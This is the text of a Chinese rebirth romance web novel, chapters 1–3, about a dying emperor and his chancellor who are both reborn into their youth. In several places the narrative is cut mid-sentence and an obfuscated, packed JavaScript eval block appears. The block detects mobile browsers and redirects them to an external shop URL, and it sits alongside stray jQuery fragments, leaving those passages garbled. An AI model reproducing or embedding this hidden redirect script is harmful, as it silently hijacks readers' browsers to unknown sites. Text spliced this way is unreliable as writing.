《重生恋爱日常》 1. 重生 长安的初雪,和着天下缟素落下。 大渊十六年,元帝景煦毒发,宫内人人自危,生怕这位暴君一句话喊了他们殉葬。 宓安坐在床头,拿着布巾慢慢擦拭景煦的手,半晌,手的主人微微用力,握住了宓安。 “阿宓。” 宓安专心擦着他的手臂,垂眸不语,景煦笑了下,摩挲着宓安的手背,阖眼道:“怎么又不理我?” 不等人回答,景煦自顾自继续说道:“我登基后你就不爱理我了,阿宓,是我让你不高兴了吗?” 宓安手一顿,强忍着泪意摇了摇头,一开口却还是暴露了自己的情绪:“你别死。” 景煦想笑,却连扯动嘴角的力气都没有了,又想侧身看看宓安,却怎么也动不了。 “我死以后,暗卫会带你出宫。你记得我们在江南住过的院子吗?你去那里。若是……若是不想待,我放了许多金银和银票,你拿了,去你想去的地方。但暗卫会跟你一辈子,别嫌他们。阿宓……青疏,不要忘了我。” 宓安静静地听他说完,眼泪像断了线的珠子落到景煦手上:“你敢死我就敢忘,谁要住你的院子?谁要养你的暗卫?” 景煦强撑着挤出一抹笑,年少时生出的一丝情意到如今已如巨树参天,生命走到尽头,景煦却不敢告诉宓安了。 罢了,自己都要死了,还是不要让宓安徒增烦恼了。 窗棂被寒风吹得咣咣作响,景煦慢慢转头看向了窗外,喃喃道:“下雪了?” 白雪皑皑,再无杂色,景煦的声音渐轻,恍若低喃:“今年的梅花还没开。” 宓安答应过等梅花开了再给他煮茶的。 他已经许多年没喝过宓安的茶了。 景煦昏昏沉沉睡去,恍惚间听到宓安在他耳边轻声道:“景煦,我……心悦你。” 果然要死了,什么痴心妄想全都涌上来了。 他好像做了很长很长的梦,梦里有粉雕玉琢的小娃娃,也有白衣飘飘的俊俏公子,有他装醉强吻宓安,也有他一声一声唤着“阿宓”,宓安不厌其烦地纠正“是宓安”。 也有在先皇想让宓安娶姑师国公主的时候,他向宓安表白心意,却将人吓到,生生躲了他半个月。 后来景煦干脆带兵攻下了姑师国。 当时少年意气,无所畏惧。 宓安拿着布巾,一下一下擦着景煦的手,面色未变,眼泪却不停地掉。 骗子…… 骗子。 “我每次生病,阿宓拿布巾给我擦擦就全都好了。” 骗子。 “走水了!!!!” “走水了!!!!!!” “陛……陛下寝殿!!” “快!快!拿水拿水!!!” “宓相呢??!!宓相还在里面!!” “宓相还没出来!!!” 火光冲天,宓安握着景煦尚有余温的手,笑得凄凉又决绝。 — 景煦这个梦太长了。 那年他带着宓安下江南去。阳春三月,满城飞絮。宓安皱着脸埋在他胸口,一会儿伸手想把柳絮赶走,一会儿偷偷抬头喘一口气,把自己弄的漫脸通红。 景煦笑着将人塞进马车里,嘱咐道:“老实待着,总想着出来干什么?” 宓安冷冷地偏开头:“我也是男人,凭什么你们骑马,我要乘车?” 景煦哭笑不得地把人推回去,自己也俯身进了马车:“那我和你一起乘车行吗?” 宓安“哼”了一声,倒也没再闹着出去,想来也是怕了飞絮。 长安到江南走了几个月,一路上两人也不算和谐。景煦和暗卫都明里暗里照顾着宓安,但这位小公子偏偏觉得自己被看扁了,心里不服,做什么都要一起去,绝不在客栈待着。景煦拗不过,只能事事都带着他。 但是总会遇见一些没眼色的人。 “这位可是王妃?没听说殿下成亲了啊,下官府里正巧有成色上好的送子观音,来人!快去给殿下王妃取来!” 宓安手里的茶杯差点被他捏碎,景煦坐在一边不给面子地哈哈大笑,宓安一掌推在他脸上,把人推得一趔趄,凶道:“闭嘴啊!” 那以后,宓安有事没事总想抓个人问问,他到底哪里不像男人。 于是暗卫就成了他的目标,但暗卫都不善言辞,被抓住问话就吱吱呜呜夸宓安好看,被宓安嫌弃许久。 景煦听了这事,连忙把人拉回屋里,连哄带骗地说:“你现在还小,以后就会脱了女子相了。阿宓可是第一美人,他们是夸你,别生气。” 宓安不给面子地皱眉转身就走:“谁是美人啊!” 景煦无理取闹:“我是说历史上那位有名的美人。” 宓安推开他:“你别以为我不知道你想什么。” “嗯?”景煦撑着门框把人困住,笑道,“阿宓这么了解本王?” “滚。” 高祖在位时,姑师国觊觎大渊,在边境处蠢蠢欲动。高祖无意开战,想以和亲换安稳,但他又不愿给他国公主太过尊贵的身份,于是就打起了宓安的主意。 当时宓安十九岁。正如景煦所言,完全脱了女相,没人会把他再认作女子了。 但即便是男子,也是非常好看的公子,俘获了无数姑娘的芳心。 景煦因为此事捏碎了好几个茶杯。 后来,大宴上,姑师国的公主对宓安一见倾心,和亲这事竟然就定了下来。 宓安坐在景煦床上薅他的枕头,见他回来,抬手就把枕头扔到他身上:“你爹是不是有病?” 景煦本来一肚子气,这会儿愣是被他逗笑了:“是是是,他有病。” “你去娶那个劳什子公主,让开,我收拾收拾去江南躲躲。” 景煦喝了不少酒,听他让自己去成亲,一时头昏脑涨,从身后紧紧抱住他:“阿宓,没良心的。” 宓安推他:“满身酒气,做什么去了。” 两人离得很近,宓安见他不说话,踮脚想用额头贴贴他的,看看是不是着凉发烧了,谁知刚凑近,景煦就按住他的脖颈,不由分说地吻了下去。 唇齿交缠,酒气仿佛更加浓郁,宓安惶恐地想推开景煦,却被束缚住,手忙脚乱差点咬舌自尽。 好在景煦分开了唇,又吻了吻他的耳垂,借着醉意小声道:“阿宓……我心悦你。” 宓安用力推他:“你松手,景煦!” 景煦抱着他,又想吻下去,宓安手指微动,一俯身挣开他,急促道:“是、是你先乱来的。” 景煦想追,却浑身无力,运转内力试了试,才发现这小没良心的竟然给他下了毒。 那日以后,景煦有半个多月都没再见过宓安。上朝他告病,每日的课业也不来一起做了,景煦烦躁得像一只发狂的狮子。 又过了几天,景煦听说宓家在准备聘礼。 聘礼? 老皇帝的身体每况愈下,景煦代理朝政,干脆就以权谋私,把奏折全推给了几位重臣,带兵去了姑师国。 宓安知道这事以后,景煦已经凯旋,他骑在马上看着宓安往这边跑来,便有意和同行的副将们拉开距离,远远落在后面,开心地翻身下马,本以为会温香软玉扑满怀,谁知宓安挥手就是两根银针,扎得他整条腿都麻了。 宓安怒气冲冲站在他面前:“说开战就开战,你在想什么?” 景煦委屈地站在原地看着宓安,刚刚凯旋的将军像个犯了错的小孩子,被宓安劈头盖脸地训斥。 他不说话,宓安也慢慢消了气,这才看到他身边还有暗卫,当即脸一红,拉着景煦往宫里走,小声威胁道:“回去再骂你。” 景煦心情大好地任他拉着手,看着挂在马鞍上的人头都觉得清秀了几分。 - 景煦是被浓烈的熏香呛醒的。梦里他正拉着听话的小丞相为所欲为,却不知何处传来一股甜腻的香味,硬是逼得他睁开了眼。 “把香炉扔出去。”景煦登基后脾气一天比一天差,现下以为自己还在寝殿里,便冷声吩咐宫人。 宫人们面面相觑,只听见一道凉飕飕的声音响起:“搬出去吧。” 宫人领命搬走了香炉,景煦却觉得难以置信,什么时候他吩咐的事还要再经他人命令? 艰难睁开眼,却见宓安正坐在案前,面前摆了许多香料,手里拿着一本书,不知在忙活什么。 景煦色胆包天:“阿宓,过来。陪朕躺一会儿。” 宓安手一抖,半勺香料洒在了桌上。 侍奉的宫人个个面色惊恐,齐齐跪了下去。 景煦:“?” 宓安起身吩咐道:“你们都下去吧。殿下病糊涂了,今日之事若有他人知晓……” 宫人连声应“是” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648306|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,颤颤巍巍快步离开了。 景煦:“?” “你是病傻了吗?”宓安凉凉的手贴上景煦的额头,他立刻清醒了不少。 见景煦不说话,宓安又拍了拍他的脸:“你爹还没死呢,你朕什么朕?” 景煦:“?” 什么叫我爹还没死,我自己不是都死了吗? 景煦拉着宓安的手,冷静了许久,才意识到自己似乎是……复活了?但复活在了他爹还没死的时候? “阿宓……”景煦叫了一声,声音有些沙哑,宓安拍开他的手,倒了杯茶送到他嘴边,冷笑道:“我们家的‘宓’是伏羲后人的‘宓’,你再明里暗里说我是女子我就抽你。” 景煦就着他的手喝了两口,深觉感慨。他登基后宓安总有些疏远他,这样娇俏装凶的宓安他已经许多年没见到了。 “咳……”景煦清了清嗓子,问到:“今天什么日子,外面好像挺热闹。” 他不问还好,宓安听了,当即冷笑一声:“你大婚的日子,能不热闹吗。” 景煦:“?” 景煦开始怀疑他其实是复活到了另一个世界。 “和、和谁成亲?”景煦小心翼翼地问道。 这下轮到宓安奇怪了。 景煦的手被宓安拉过去,好好把了把脉。床前的人皱起了好看的眉头,纤长的手指在他脉间按了又按,疑惑道:“只听说过风寒发热会让小儿病傻,从未听说过还能把这么大的人病傻的。” 景煦:“……” 他骂我。 “前日你凯旋,多喝了两碗酒,不小心掉进池塘里了。”宓安给他盖好被子,“今日是重新设宴庆祝你得胜。” 他睡了两天了? 不知为什么,景煦觉得宓安有些心虚。 “我的酒量这么差?”景煦不动声色地把手搭在了宓安腿上。宓安确实正在心虚,也没注意到他的小动作,继续忽悠道:“是啊,你酒量怎么这么差。” 景煦低声笑了下,脑子清醒了。 第一次跟人表明心意,被下了药,好不容易鼓起勇气第二次表白,又被人推进了池塘。 不过谁让他两次表白都在酒后呢,烈酒入喉,平时不敢说的话喝完酒都敢说了,这就是人们常说的酒壮怂……酒壮人胆。 “阿宓……”景煦一把搂住宓安的腰,借力蹭过去把脸埋在了他腿上,可怜道,“头疼。” 宓安只好轻轻帮他按揉穴位。 虽说他和景煦自幼交好,虽然把人推下池塘并非他本意,但这来势汹汹的表白和风寒一左一右拉扯得他实在头疼又愧疚。 一边想躲着景煦,一边又不放心他的身子。 “阿宓。”景煦舒服地眯起了眼,色胆再次冲上心头,“亲我一下。” 宓安手一顿,非常熟练地朝他后脑勺甩了一巴掌,然后继续轻轻按揉穴位。 景煦:“?” “别说疯话。病好了就去见你爹。” 宓安收回手,理了理衣裳:“我看你已经全好了,我要回去了。” 说罢,也不管景煦哼哼唧唧地装病,头也不回地离开了皇宫。 回府路上,宓安捏了捏手指,心道许久没抽景煦,真是有点怀念。 他昨晚醒来时发现自己重生到了这个时候,景煦又病得厉害,吓得他连滚带爬地扑到了景煦床上。幸好只是风寒,但这也太丢脸了。 景煦睡醒第一句话,他就断定这人也重生了。不过他现在还不打算坦白,敢骗他还敢抛下他先死,总要收拾收拾才解气。 而寝殿里的景煦,正光着脚坐在宓安刚刚忙活的地方,看他的医书。 整理了一下思绪,景煦想起这时他刚刚灭了姑师国,姑师盛产香料,前世宓安对调香感兴趣了好一阵子。 只是后来…… 景煦揉了揉头,挥手叫来了暗卫。 “主子。” “姑师带回来的香料,不论贵贱全送到宓将军府。我记得还有几本香方,也一并送去。” “是。” “等等。” “主子?” 景煦想了想,交待道:“再跟青疏要点外伤药,就说我腿疼。” “是。” 他记得宓安用银针当暗器扎到了他的腿,虽然对方收了力,虽然他自幼习武身强体健…… 但他就是两天了还疼。 2. 隔世 夜间的庆功宴,高祖——这个时候应该称大渊帝——似乎格外关注宓安,时不时就要看他一眼。宓安借喝酒挡住半张脸,不动声色地问景煦:“你爹做什么总看我?” 景煦往那边瞟了一眼,笑道:“可能觉得你坐错位置了?” 宓安倒酒的手一顿,景煦登基后他们从来都是坐在一起,今天他习惯使然紧跟着景煦进殿,又习惯使然挨着景煦坐下,早就把上面那位还活着的皇帝忘了。 果然,他爹宓朗回已经开始瞪他了。 宓安假装没看见自家老爹冒火的眼珠子,稳稳地倒了杯酒:“我是你的大夫,你重伤未愈,我得盯着。” 景煦低头看了看自己,笑道:“确实,我腿还疼着呢。” 宓安又开始心虚,试探道:“真的?” 景煦点点头:“自然是真的。唉,不过也怪我惹阿宓生气。若有下次,阿宓打折我的腿吧。” 宓安见他还有力气贫嘴,当即不再担心,语气随意道:“荤腥油腻辛辣鱼虾都不要吃,养两个月就好了。” 景煦大惊:“那我吃什么?” “吃草吧。” 景煦正想说自己身体好不必忌口,却被人打断了话头。 “二弟!”是大皇子景烈。他举着酒杯走过来,眼里写满了不怀好意,“听闻二弟为了宓少师,亲自带兵屠了姑师,真是骁勇善战。来,大哥这杯敬你得胜!” 景煦看了他一眼,不禁有些感慨,前世这废物死的早,他都快忘了他还有个大哥。 宓安拿走景煦手里的酒杯,道:“姑师公主带死士来大渊,企图行刺圣上。昭王殿下一为圣上,二为大渊,覆灭姑师,战功赫赫。大皇子却说这是为了臣,从何说起呢?” “呵。”景烈冷笑道,“谁不知宓少师与我二弟一向交好,吃住同处,抵足而眠。现在大街小巷可都在传你二人恐有断袖之谊啊。” 景煦好笑道:“我与青疏抵足而眠,皇兄如此言之凿凿,莫不是趴我床下看见的?” 青疏…… 宓安耳朵一热,觉得心跳得有些快。景煦一向喜欢叫他“阿宓”,前世父亲过世后,就再也没有人叫过他的字了。 那边景烈咬牙切齿,却不得不对景煦客客气气:“二弟这是何意?” 景煦笑了起来,身子往后一仰,翘起了二郎腿,一副纨绔样。 宓安看出了景煦马上要发火,于是悄悄挪了挪椅子。 可偏偏有不长眼的要来触这个晦气,那边礼部侍郎周修远一甩袖子,起身道:“昭王殿下,殿下与少师本就不宜过于亲近,您与宓少师日夜不分、同吃同行,太不合规矩!” “少师”是天子的老师,落到宓安身上便成了一个不合规矩的名头。也难怪朝臣各个虎视眈眈。 表面上,这是皇帝的无上荣宠,承诺下一位帝王依旧与宓家亲近,可实际上,宓朗回本就因为战功被各方势力忌惮,偏偏又是个刚直的性子,不站队任何一方,这样一来更是被人视为眼中钉了。 宓安叹了口气,前世宓朗回和景煦都有意护着他,许多年他都一心扑在医术和毒术上,根本不明白朝堂上的弯弯绕绕。直到宓朗回过世,他才逐渐想通他那“体弱多病”的传言是哪里来的。 只有宓家的独子再无承父衣钵的可能,皇帝才能稍稍安心。 周修远仗着有皇子撑腰,言语越发放肆:“昭王殿下莫不是看宓少师貌若女子,有意将他收做门客吧?” 景煦的笑容更大了,礼部侍郎正欲再说,景煦却一抬腿踹翻了桌子。 霎时间一片哗然,桌上的酒菜像长了眼睛一样,朝景烈和周修远飞去,二人还没来得及做出反应,已经被热汤热菜淋了满身。 景烈目眦欲裂,辱骂还未出口,宓安立刻站了起来,先开口道:“殿下,您腿伤又发作了。” 高位上的景陆似乎并不在意这场闹剧,闻言问道:“长昱,腿怎么了?” 宓安行礼道:“回陛下,昭王殿下出战姑师,腿受了重伤,总会不自觉抽搐。” 景陆摆摆手:“既然有伤就早点回去歇着吧。” 景煦随口应了声,冲宓安伸出手,装模作样道:“劳烦少师。” 宓安瞪了他一眼,尽职尽责地把人扶回了寝殿。 “阿宓,抱一下。”景煦一到没人的地方就开始不要脸。 宓安把浸了水的布巾扔到他脸上:“你也太大胆了,怎么直接掀桌子啊?” 景煦擦着脸,无辜地眨了眨眼:“什么掀桌子?我是腿上有伤控制不住。” 宓安:“……” “他羞辱你,没直接杀了他已经算我脾气好了。” 宓安摆摆手:“说两句又不碍事。” 景煦把手里的布巾一扔,说道:“那阿宓过来给我抱一下,再给我亲一口。” 宓安微笑道:“我是不是忘了说,方才周修远已经被我毒哑了,你也要试试吗。” 景煦及时收了声,心道阿宓果然是不会吃亏的,嘴上说着不碍事,其实暗地就把人毒哑了。他拉过宓安的手,小心地说道:“阿宓,你不躲着我啦?” 宓安试图抽出手,但没抽动:“躲你有用吗?” 景煦嘿嘿笑道:“没用。” “那阿宓是不是也有一点心悦我?” 对上景煦满怀期待的眸子,宓安差点心软,但一想到这人临死前的样子,他又觉得不该顺着他,于是冷声道:“我们从小一起长大,我当你是最好的朋友。” 景煦咬了咬舌头,他临死前明明听到阿宓说心悦自己,难道这个时候还没动心? 他抬起头盯着宓安,十分不解,阿宓到底什么时候对他动的心,不会是在他登基后吧?可是离他登基还有两年多,如果他现在设计景烈谋反然后把他和老皇帝都杀掉的话…… “看我干什么?”宓安避开他的眼睛,冷冷问道。 别看我了,再看我就忍不住要亲你了。 “你都不排斥我牵你的手了,还说不喜欢我。”景煦嘟嘟囔囔,很是委屈,“现在能牵手,明天是不是就能亲嘴了?后天能摸摸腰,大后天……” 宓安甩开他的手,极为熟练地给了他后脑勺一巴掌,微笑道:“滚。” 宓安起身就走,毫不理会身后假装哭哭啼啼的人,这满脑子情情爱爱的家伙,得好好教训一通才是。 “宓少师,您这是要回将军府?”说话的是景煦的贴身太监王顺。 “王公公。”宓安眼睛一亮,笑道,“正要回去。许久不见公公了。” 王顺微微躬身道:“少师哪里的话,昨日不是才在贵府见过。” “是,我忙糊涂了。”宓安拍了拍自己的额头,“我就先走了,劳烦公公照顾景煦。不许他沾辛辣。” “老奴记下了,少师身子弱,莫要劳累了。” 见到王顺,宓安心情好了许多。王顺是先皇后身边的人,是看着他和景煦长大的。景煦登基后曾遇北夷死士刺杀,王顺为景煦挡了一箭,死在了当场。 宓安迫不及待回府,那时北夷的毒罕见刁钻,王顺死后他研究了小半年才制出了解药,这次要赶快先制出来,以备不时之需。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648307|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “王公公?”景煦见到王顺,心下颤动。这么多年,他已经习惯了身边没人,这时才想起来,将军府的下人不守规矩,宓朗回很少回府,宓安又懒得管这些事,他便派王顺去整治那些下人了。 “殿下。”王顺俯身行礼,“将军府那边该发卖的都发卖了,近日无事,奴才就回来伺候了。听说殿下受伤了……” “无事。”景煦摆摆手,“我去姑师这趟连皮都没伤到,倒是回京当日被青疏扎了几针。” 王顺笑道:“少师也是担心殿下。” “唉……”景煦叹了口气,突然站了起来,“我去找青疏,公公不必跟着。别让他人知道我不在。” “老奴明白。” 景煦三天两头往将军府跑,王顺早就习惯了,熟练地把床帐拉好,熟练地敲打宫人,一套下来得心应手。 那边景煦轻功用到极致,不一会儿就翻过了将军府的院墙,轻车熟路地推开了宓安的房门。 “你来做什么?” 对景煦的深夜造访,宓安也早就见怪不怪了。 “有事相求。”景煦不客气地躺在宓安床上,见他又拿着医书不知在配什么药,便问道,“阿宓在做什么?” “制点新药。”宓安头都没抬,“你求什么?” “北夷皇室有种罕见的毒药,叫‘封脉’,据说只有特制的解药能解毒,遇到任何药材都会让人经脉闭绝而死。阿宓可听过?” 宓安心下了然,景煦这是同他想到一处了。 “听过。”宓安放下手里的小秤,丝毫不提解药其实已经制好了,“若能见到毒药,我应当能制出解药。” 说罢,怕景煦让暗卫去北夷冒险,又提醒到:“虽是密药,但太祖皇帝当年曾俘虏过北夷皇室,宫里说不定有这药。” 上辈子他就是在御书房的密室里发现了封脉,才顺利研制出解药。 景煦拿出一个小瓶子,放在桌上,笑道:“阿宓真聪明。” 宓安看了看药瓶:“哪来的?” “御书房密室。” 宓安觉得好笑:“还没登基呢,就这么轻车熟路了?” “早一天晚一天有什么差别。”景煦大逆不道地翘起二郎腿,“左右景烈是个废物,这皇位舍我其谁。” “对了,再过两个月说不定老东西会让宓将军出征,让我岳父装病别答应。”景煦回想起前世宓朗回战死沙场,心里堵得慌,“我怀疑军中混进了细作,等我查查再说。千万嘱咐我岳父别去。” 宓安也心下一沉,从前父亲死状凄惨,是他挥之不去的噩梦。 不过这一世还来得及。 “什么岳父?”宓安这才反应过来,凶道,“不许穿鞋上我的床。” 景煦充耳不闻,蹬了靴子爬进了宓安的被窝,还拍了拍床:“阿宓,睡觉。” 宓安:“……” 真想再扎他几针。 景煦铁了心要睡在将军府,雷打不动,宓安心疼他刚打仗回来又生了病,这几天都没好好休息好,也就由他去了。 “挪挪。” 宓安躺在景煦旁边,还是觉得很恍惚,前世蹉跎许多年,临死才直面自己的心意,没想到上天如此厚待,竟然让他们二人都重新来过。 既然重新来过,那该死的人就要早点死,身边的人他要好好护住。 至于什么时候让景煦知道他也有前世的记忆…… 宓安捏了一把旁边这人的脸,看他吃痛委屈巴巴地睁开眼,发自内心地笑了起来。 啧,还没逗够,择日再议吧。 3. 心意 景煦重生回来后对皇位一点兴趣都提不起来,他只要一想起前世被宓安疏远就难受得很睡不着。甚至已经在考虑提前过继一个孩子,老皇帝一死直接让小皇帝登基,他可以做摄政王,这样宓安就不会因为他的皇位无人继承常常忧心忡忡。 景煦边沉思边穿衣服,不小心弄出些动静,宓安睁开一只眼,迷迷糊糊地问道:“去哪。” 景煦捏了捏他的脸:“上朝,你好好睡。” 宓安抓紧他的袖口,把脸埋在被子里,景煦笑着蹲在床边,两手握着他的手:“怎么了?” 宓安抽了抽手,没挣开,干脆用力握紧了他的手:“早点回来。” 景煦一愣。 宓安从没和他说过这种话,事务繁忙,他每日都很晚才过来。 景煦拉着宓安的手凑到自己唇边,犹豫再三还是大着胆子轻吻了一下,问道:“想我?” 宓安还没醒盹,才意识到自己一时没分清梦里和现实,皱眉问道:“你怎么还在这?” 景煦笑嘻嘻地看着他:“陪阿宓睡觉当然要陪到天亮了。” 宓安闭眼继续睡觉,让他赶紧滚。 景煦心情大好地出了门,直到站在大殿里听大臣们的奏言还在神飞天外。 姑师已灭,其他小国被震慑得不敢造次,各处都清闲了很多,所以大臣们来来去去无非都是说他已经封王应该早日娶妻生子。 景煦昏昏欲睡,分出一缕精神听了听,原来今日吵的是黄河水患。 大臣们叽叽喳喳地吵个不停,一时难分胜负,和户部尚书吵得昏天黑地的礼部尚书一甩袖子,就要找景煦评理,一转身却看见这位王爷已经站着睡着了。 于是礼部尚书更生气了。 “皇上!”礼部尚书气昏了头,怒吼道,“今年黄河水灾泛滥,下游百姓无家可归,微臣看来,应该再拨银子过去,以缓百姓之苦!” 户部尚书紧跟其后:“皇上!上月才拨去五十万两,这么多银子怎么可能不够?微臣认为,必须先查明是否有人私吞,否则拨再多银子,也到不了百姓手里!” 景陆坐在龙椅上,精神不太好,示意他们有事和景煦说。景烈站在一旁差点咬碎一口牙。 景煦强撑着睁开眼,点头敷衍道:“二位说得在理,其他大人可还有要说的?” 无人回应,户部尚书黑着脸又说道:“礼部尚书大人应当管好自己该管的事,不要越俎代庖才好。” 礼部尚书冷哼一声,道:“何为越俎代庖?天下兴亡,匹夫有责!水灾连月不息,百姓居无定所,你怎知五十万两足够这么多百姓吃穿!” 这时,角落里幽幽传来一个声音:“派人去看看不就知道钱去哪了?” 众人齐刷刷地回头看去,就见宓安站在大殿正门的影子里。 还没等大臣们有什么反应,景煦三步并作两步地走到宓安面前:“怎么过来了?” 宓安推推他,小声道:“快回去。” 景煦不听,拉着人往殿前走去,宓安挣不开,只好任他拉着,顺便敷衍地向景陆行了一礼。 景陆似乎病得很重,只点了点头,道:“宓少师方才说派人去看看,此法甚好。景煦,水患一事交由你全权处理。” “是。” 景陆挥了挥手,起身离开了。 在太监的高声“退朝——”中,礼部尚书冷哼一声,道:“少师方才说派人去看看,不知您认为该派谁去?如今朝中正是用人之际,谁能远赴黄河!” 宓安瞥他一眼,笑道:“我。” “谁不知少师体弱多病,万一路上出了事……” “李大人。”景煦冷声打断道,“慎言。” 宓安捏了捏景煦的手,看向礼部尚书:“我身子确实弱了些,但还不至于出不了门。” 被景煦盯着不敢出声,礼部尚书只能冷哼一声。 “多谢大人关心,不过……” 景煦突然打断道:“不过有本王同路,少师定不会有事。本王不在的这段日子,诸位大人多多费心。”说完,也不等一堂大臣应答,景煦就拉着宓安大步走了出去。 出宫的路上,景煦叫人端着冰走在宓安身边,夏季炎热,生怕宓安不适。 “我哪有这么娇气。”宓安用帕子包了一小块冰握在手里,“夏至之日的大宴还要用冰,你不要浪费。” 景煦却不以为意:“先……父皇病重,大宴能不能如期还说不准。” “不要胡说。” “不说就不说。” “你怎么突然说跟我一起去?你也知道皇上病重,你走了他们打起来怎么办?” “他这不是还能来上朝吗,看起来没什么事。再说了,难道让你自己去?” “自己去怎么了?我又不是小孩子。” 二人一路并行,冰融得很快,几个下人也沾了主子光,这谢却海棠飞尽絮的天气也没那么难捱了。 - 两人动作很快,下了朝就收拾好包袱,上了马车,随行只带了直属景煦的暗卫。 天色渐晚,车队速度不慢,半天便到了红林镇。马车停在客栈前,宓安伸出一只手,借着景煦的力跳了下来。 一群暗卫眼观鼻鼻观心,全当自己双目失明。 景煦揽着宓安的腰动手动脚,被拍开也不恼,继续厚着脸皮贴上去。 宓安抓紧景煦的手,不让他再动作:“不许在外面动手动脚!” 景煦厚着脸皮,全然不顾身边一群暗卫,声音不大不小地问道:“那进屋可以动手动脚吗?” 宓安冷笑一声:“我自己睡一间。” 不等景煦反对,大步走进了客栈。 “阿宓!阿宓!”景煦不依不饶地叫着,宓安装没听到,和掌柜交谈。 掌柜手里的算盘打得啪啪响,半天才说道:“客官,你们人太多了,小店客房不够。若是两位挤一间,那还能住下。” 景煦大手一挥,回头喊道:“两人一间,你们自己分配。”说完,拉着宓安头也不回地上了楼。 宓安哭笑不得,空出的一只手使劲拍了景煦一巴掌,佯装凶道:“你做什么?” 景煦关好房门,将布巾打湿又拧干,殷勤道:“来擦擦脸。” “我自己来。”宓安说着,伸手去接布巾,却被景煦一把握住,捏了捏他的手指,道:“我来。” 景煦轻轻擦着宓安的脸,手指装作不小心越过布巾摸到他脸上,占足了便宜。 这时店小二敲了敲门,问道:“二位客官,头次住店小店免费送饭菜,二位可要尝尝?” “进来吧。” 店小二长相喜庆,边上菜边介绍:“这水灵灵的小青菜是咱们这独有的,因着这地界水土好,青菜长得是又绿又壮,清脆得很,二位尝尝。” “多谢。” “您客气,慢用。” 小二走后,景煦又拿起了布巾,非要给宓安擦脸。宓安拗不过他,只好闭着眼任他动作。景煦见人这么乖,正想好好调戏调戏,却被一声惨叫打断了。 宓安猛地睁开眼,两人对视一下,一个被塞进了被子里,一个拿起桌上的剑去开门。 宓安莫名其妙地看了眼被子,他真是活了两世都不理解为什么景煦总觉得他需要保护。 客栈一楼,一具尸体横在正中,掌柜和店小二吓得发抖,大气不敢出。 景煦见宓安出来,走过来把他挡在了身后,招来一个暗卫问道:“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648308|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么回事?” 暗卫道:“属下不知。客栈四周都有暗卫把守,没有旁人接近。” 景煦皱着眉,冲掌柜扬了扬下巴:“去问问他。” “是。” 谁想暗卫刚走近,掌柜竟吓得一屁股坐在地上:“不要杀我!不要杀我!我不知道!我不知道!别杀我!别杀我……” 店小二站在一边,还保持着刚刚扶着掌柜的姿势,一动也不敢动。 宓安推开挡在他身前的人,边下楼边问道:“掌柜的,这尸体是谁?为何会在此?谁要杀你?” 店小二突然尖叫起来:“是诅咒!是诅咒!啊啊啊啊!”没等众人动作,他已经晕了过去。 “别怕。” 宓安让人把店小二带去安顿好,温声对掌柜说道:“不要怕,我可以帮你,只要我在这里,没有人能伤害你。” 宓安对摄魂术并不精通,但一些皮毛也足够安抚普通人了。他的声音似乎有蛊惑的力量,掌柜渐渐平静下来,颤着声音问道:“你……你是仙女……” 宓安脸上的笑一僵,当即转身就走,被笑得上气不接下气的景煦拖了回来,哄道:“阿宓别生气,再问问。” “她是谁?” “翠华村王二的媳妇……” “她为何会陈尸于此?” 掌柜道:“我不知道……” 宓安又问:“谁要杀你?” “她的姘头!她的姘头!她回来了,她回来报仇了!!”说完,掌柜两眼一翻,也晕了过去。 宓安踹了他一脚出气,接过景煦递过来的帕子擦了擦手,道:“胡言乱语。不管了,我们走。” “不管了?”景煦把帕子丢给暗卫,奇道,“这不像你啊。” “怎么不像?” “阿宓人美心善……我是说人英俊心善。” 宓安懒得理他,转身差人把晕过去的两个人安顿好,回头看了看景煦,示意他跟上。 二人出了客栈一路西行,景煦折了枝花簪在宓安发间,被宓安抓住锤了一顿。景煦笑着抓住宓安的两只手,道:“不是不管了?怎的还要去查?” 宓安被景煦抓着手,只好乖乖任他牵引着向前走,“你会不管这事?我是给你台阶。” 景煦笑道:“好好好,是你给我个台阶。我这不就下来了。” 宓安不理他的贫嘴,问道:“方才掌柜的说尸体是翠华村谁的媳妇,翠华村在哪里?” 景煦指了指身后:“我们来时经过的那个小村。” 宓安气得咬牙,恨不得打他一顿:“那我往这边走,你怎么不拦我?” “天都黑了,明天再去吧。这个方向正好往灯市走。”景煦拉起宓安的手,商量道,“去看花灯好不好?” 宓安看着他装傻,也不回应,终于等景煦装不下去了,叹了口气,整个人靠在宓安身上,说道:“我已经让暗卫去查了,这种事不必劳烦阿宓。” 宓安这才点点头,推开了他,微笑道:“再动手动脚抽你。” “阿宓快看!” 做了十几年皇帝的人此时像一个没出过门的少爷,看着天际绽放的烟花惊喜地喊心上人来看。 